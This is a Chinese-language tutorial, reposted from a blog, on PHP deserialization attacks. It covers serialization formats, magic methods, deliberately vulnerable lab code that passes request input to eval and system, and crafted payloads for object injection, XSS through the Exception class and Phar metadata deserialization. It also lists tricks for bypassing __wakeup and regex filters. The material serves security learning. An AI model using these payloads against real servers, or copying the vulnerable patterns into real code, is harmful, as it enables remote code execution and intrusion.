ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

PHP序列化和反序列化

2021-05-17 00:00:11  阅读:335  来源: 互联网

标签:__ PHP 22% phar 3A% 调用 序列化


目录

简介

  在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是序列化,主要是为了方便对象传输。
这里介绍php序列化和反序列化。

PHP基本类型的序列化

bool:b:value =>b:0
int:i:value=>i:1
str:s:length:“value”;=>s:4"aaaa"
array:a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL:N

字母代表类型,数字代表类型字节数,value则是对应类型的值。
举例:

<?php
class test{
	public $a=false;
	public $b=3;
	public $c='hello';
	public $d=array(1,2,3,'hello');
	public $e=NULL;
}
$test = new test;
echo serialize($test);
?>

输出:

O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}

PHP中的魔术方法

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),是系统预定义的方法。
魔术方法的作用、方法名、使用参数列表和返回值都是规定好的,需要用户自己编写方法体内容。不需要调用
魔术方法:

__construct(),类的构造函数,当对象被创建时调用
__destruct(),类的析构函数,当对象被销毁时调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),从不可访问的属性读取数据时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()前时,先会调用这个函数
__wakeup(),执行unserialize()前时,先会调用这个函数
__toString(),类被当成字符串时使用时被调用(echo file_exists)

__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

利用序列化获取敏感信息

常见反序列

1、

<?php
	class test{
		function __destruct(){
			echo $_GET['cmd'];
			eval($_GET['cmd']);
			#system($_GET['cmd']);
		}
	}
	#eval('system("");');
	unserialize($_GET['u']);
?>

构造payload:

u=O:4:“test”:0:{}&cmd=system(“whoami”);

可以爆出一些信息
system(“whoami”);laptop-uopqa8nr\Íõçù

2、通过其他类的方法利用

<?php
	class test{
		protected $ClassObj;
		function __construct(){
			$this->ClassObj=new normal;
		}
		function __destruct(){
			$this->ClassObj->action();
		}
	}
	class normal{
		function action(){
			echo "hello";
		}
	}
	class evil{
		private $data;
		function action(){
			eval($this->data);
		}
	}
	echo $_GET['cmd'];
	$c=unserialize($_GET['cmd']);
?>

通过代码分析可以将normal换成evil类,析构时会调用evil的action方法。
因为ClassObj类是保护型,存在“%00*%00”来表示它,在构造payload时要通过urlencode编码避免%00缺失。

<?php
	class test{
		protected $ClassObj;
		function __construct(){
			$this->ClassObj=new normal;
		}
		function __destruct(){
			$this->ClassObj->action();
		}
	}
	class normal{
		function action(){
			echo "hello";
		}
	}
	class evil{
		private $data;
		function action(){
			eval($this->data);
		}
	}
	echo $_GET['cmd'];
	$c=unserialize($_GET['cmd']);
	#echo $c;
	#$test=new test1;
	#echo serialize($test);
?>

payload:

O%3A4%3A"test"%3A1%3A%7Bs%3A11%3A"%00%2A%00ClassObj"%3BO%3A4%3A"evil"%3A1%3A%7Bs%3A10%3A"%00evil%00data"%3Bs%3A10%3A"phpinfo%28%29%3B"%3B%7D%7D

在这里插入图片描述

原生类利用

SoapClient::__call方法(PHP5/7)

详细见点这

__toString(PHP5/7)

<?php
	echo unserialize($_REQUEST['u']);
?>

构造Exploit

<?php
	echo urlencode(serialize(new Exception("<script>alter(/xss/)</script>")));
?>

O%3A9%3A%22Exception%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealter%28%2Fxss%2F%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A39%3A%22C%3A%5Cphpstudy_pro%5CWWW%5CPHP%5Cserial%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7D%7D

主要利用了Exception类对错误消息没有过滤,导致最终反序列化后输出内容在网页中造成XSS。

__construct

配合原生类SimpleXMLElement类
待补充。。。

Phar反序列化

详细见
我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了。Phar反序列化这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

一、PHAR简介

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得
PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

二. PHAR文件结构
Phar文件主要包含三至四个部分:

a stub stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点 生成phar文件
在这里插入图片描述

the file contents 被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
在这里插入图片描述

a signature for verifying Phar integrity 签名格式
在这里插入图片描述

构造一个phar文件
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

; http://php.net/phar.require-hash
;phar.require_hash = On

;phar.cache_list =
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hackhack';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

在这里插入图片描述
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
在这里插入图片描述

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

可以看到成功触发了反序列化
在这里插入图片描述

小技巧

__wakeup失效

影响版本PHP5-5.6.25 PHP7-7.0.10
原因:当属性个数不正确时,process_nested_data函数会返回为0,导致call_user_function_ex函数不会执行,则PHP中就不会调用__wakeup().
方法:构造属性不一致的序列化对象字符串可对__wakeup()绕过。

bypass反序列化正则

当执行反序列化时,使用正则/[oc]:\d+:/i进行拦截,主要拦截了O:4:"demo":1:{s:5:"demoa";a:0:{}}
绕过O:+4:"demo":1:{s:5:"demoa";a:0:{}}+号跳转,表达数字

反序列化字符逃逸

构造payload的长度的无效字符串,进而实现payload修改属性值。

session反序列化

Session处理器:php、php_binary、php_serialize、wddx
待补充

PHP引用

Exception 绕过

解析一部分,构造正确类名,进而调用析构函数,绕过抛出异常。

标签:__,PHP,22%,phar,3A%,调用,序列化
来源: https://blog.csdn.net/weixin_44033675/article/details/116809651

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有